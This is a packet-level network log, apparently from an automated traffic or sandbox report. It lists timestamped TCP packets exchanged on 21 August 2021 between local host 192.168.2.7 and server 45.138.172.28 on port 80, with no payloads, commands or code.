Aug 21, 2021 21:46:32.354243994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354266882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354270935 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354283094 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354288101 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354289055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354351997 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354361057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354374886 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354383945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354406118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354424953 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354425907 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354470015 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354506016 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354769945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354793072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354895115 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354899883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356019974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356050014 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356070042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356091976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356117964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356118917 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356147051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356180906 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356201887 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356209993 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356252909 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356333971 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356358051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356456041 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356468916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356471062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356492996 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356515884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356539011 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356560946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356581926 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356584072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356606007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356631041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356654882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356677055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356699944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356723070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356744051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356765032 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356769085 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356771946 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356790066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356792927 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356806993 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356812954 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356817007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356834888 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356838942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356841087 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356842041 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356862068 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.356863022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356885910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356909037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356930971 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356954098 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356976032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.356998920 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357002020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357003927 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357050896 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357095003 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357100964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357124090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357151985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357175112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357177973 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357197046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357220888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357243061 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357244015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357266903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357285023 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357289076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357310057 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357311010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357336044 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357358932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357378006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357378960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357398033 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357399940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357422113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357445002 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357466936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357486010 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357489109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357511997 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357522964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357544899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357547045 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357564926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357587099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357609034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357609987 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357633114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357650995 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357656002 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357676029 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357677937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357703924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357727051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357750893 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357753038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357774973 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357777119 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357799053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357821941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357844114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357861996 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357866049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357892990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357912064 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357917070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357937098 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357939959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357959032 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.357963085 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.357986927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358009100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358031034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358048916 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.358053923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358057022 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.358081102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358104944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358127117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358128071 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.358145952 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.358150005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358175039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358197927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358217955 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.358221054 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.358244896 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.363967896 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381273985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381305933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381321907 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381339073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381360054 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381381989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381405115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381432056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381468058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381491899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381505966 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381515980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381536961 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381540060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381541014 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381563902 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381580114 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381588936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381613016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381635904 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381654978 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381658077 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381684065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381707907 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381707907 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381712914 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381731033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381750107 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381762981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381787062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381809950 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381825924 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381831884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381855011 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.381856918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.381932974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.382838964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.382863045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.382916927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.382942915 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.382952929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.382967949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.382989883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383002996 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.383013964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383037090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383048058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.383060932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383084059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383107901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383148909 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383204937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383441925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383466005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383488894 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383512020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383534908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383558035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383582115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383605957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383630037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383654118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.383677959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385545969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385581970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385606050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385627985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385651112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385674953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385921001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385945082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385968924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.385993958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386014938 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386037111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386065006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386090040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386112928 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386143923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386169910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386193037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386218071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386240959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386261940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386284113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386305094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386326075 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386346102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386367083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386389017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386411905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386431932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386452913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386475086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386497021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386606932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386730909 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386754990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386776924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386795998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386816978 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386837959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386858940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386873007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386882067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386893034 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386895895 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386898994 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386902094 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386903048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386904955 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386909008 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386912107 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386914968 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386918068 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386920929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386923075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386924028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386925936 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386929035 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386931896 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386934996 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386936903 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386940002 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386943102 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386944056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.386945963 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386949062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386951923 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386954069 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386956930 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386960030 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386962891 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.386965990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.387068987 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.387074947 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.394356966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394547939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394603968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394649982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394676924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394762993 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.394778013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394885063 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.394891977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394917965 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394941092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.394980907 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395001888 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395015001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395039082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395062923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395097971 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395219088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395251036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395273924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395298958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395322084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395345926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395369053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395395994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395412922 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395481110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395482063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395508051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395530939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395554066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395577908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395579100 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395602942 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395603895 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395629883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395633936 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395657063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395680904 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395680904 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395705938 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395731926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395756006 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395760059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395780087 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395787001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395811081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395834923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395859003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395862103 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395884037 CEST	49738	80	192.168.2.7	45.138.172.28
